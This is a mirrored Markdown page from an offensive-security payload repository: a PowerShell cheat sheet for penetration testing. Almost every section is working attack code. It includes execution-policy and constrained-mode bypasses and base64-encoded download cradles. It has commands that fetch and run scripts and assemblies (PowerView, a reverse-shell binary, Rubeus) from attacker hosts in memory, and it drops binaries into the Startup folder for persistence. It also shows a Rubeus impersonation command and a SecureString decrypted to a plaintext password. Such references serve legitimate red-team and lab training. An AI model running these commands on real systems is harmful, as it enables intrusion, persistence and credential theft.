mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-22 12:26:17 +00:00
110 lines
4.2 KiB
Markdown
110 lines
4.2 KiB
Markdown
# Powershell
|
|
|
|
## Summary
|
|
|
|
* Execution Policy
|
|
* Encoded Commands
|
|
* Download file
|
|
* Load Powershell scripts
|
|
* Load C# assembly reflectively
|
|
* Secure String to Plaintext
|
|
* References
|
|
|
|
## Execution Policy
|
|
|
|
```ps1
|
|
powershell -EncodedCommand $encodedCommand
|
|
powershell -ep bypass ./PowerView.ps1
|
|
|
|
# Change execution policy
|
|
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
|
|
Set-ExecutionPolicy Bypass -Scope Process
|
|
```
|
|
|
|
## Constrained Mode
|
|
|
|
```ps1
|
|
# Check if we are in a constrained mode
|
|
# Values could be: FullLanguage or ConstrainedLanguage
|
|
$ExecutionContext.SessionState.LanguageMode
|
|
|
|
## Bypass
|
|
powershell -version 2
|
|
```
|
|
|
|
## Encoded Commands
|
|
|
|
* Windows
|
|
```ps1
|
|
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
|
|
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
|
|
$encodedCommand = [Convert]::ToBase64String($bytes)
|
|
```
|
|
* Linux: :warning: UTF-16LE encoding is required
|
|
```ps1
|
|
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
|
|
```
|
|
|
|
## Download file
|
|
|
|
```ps1
|
|
# Any version
|
|
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
|
|
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
|
|
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
|
|
|
|
# Powershell 4+
|
|
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
|
|
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
|
|
```
|
|
|
|
## Load Powershell scripts
|
|
|
|
```ps1
|
|
# Proxy-aware
|
|
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
|
|
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
|
|
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
|
|
|
|
# Non-proxy aware
|
|
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
|
|
```
|
|
|
|
## Load C# assembly reflectively
|
|
|
|
```powershell
|
|
# Download and run assembly without arguments
|
|
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
|
|
$assem = [System.Reflection.Assembly]::Load($data)
|
|
[rev.Program]::Main()
|
|
|
|
# Download and run Rubeus, with arguments (make sure to split the args)
|
|
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
|
|
$assem = [System.Reflection.Assembly]::Load($data)
|
|
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
|
|
|
|
# Execute a specific method from an assembly (e.g. a DLL)
|
|
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
|
|
$assem = [System.Reflection.Assembly]::Load($data)
|
|
$class = $assem.GetType("ClassLibrary1.Class1")
|
|
$method = $class.GetMethod("runner")
|
|
$method.Invoke(0, $null)
|
|
```
|
|
|
|
## Secure String to Plaintext
|
|
|
|
```ps1
|
|
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
|
|
$user = "HTB\Tom"
|
|
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
|
|
$cred.GetNetworkCredential() | fl
|
|
UserName : Tom
|
|
Password : 1ts-mag1c!!!
|
|
SecurePassword : System.Security.SecureString
|
|
Domain : HTB
|
|
```
|
|
|
|
## References
|
|
|
|
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
|
|
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters) |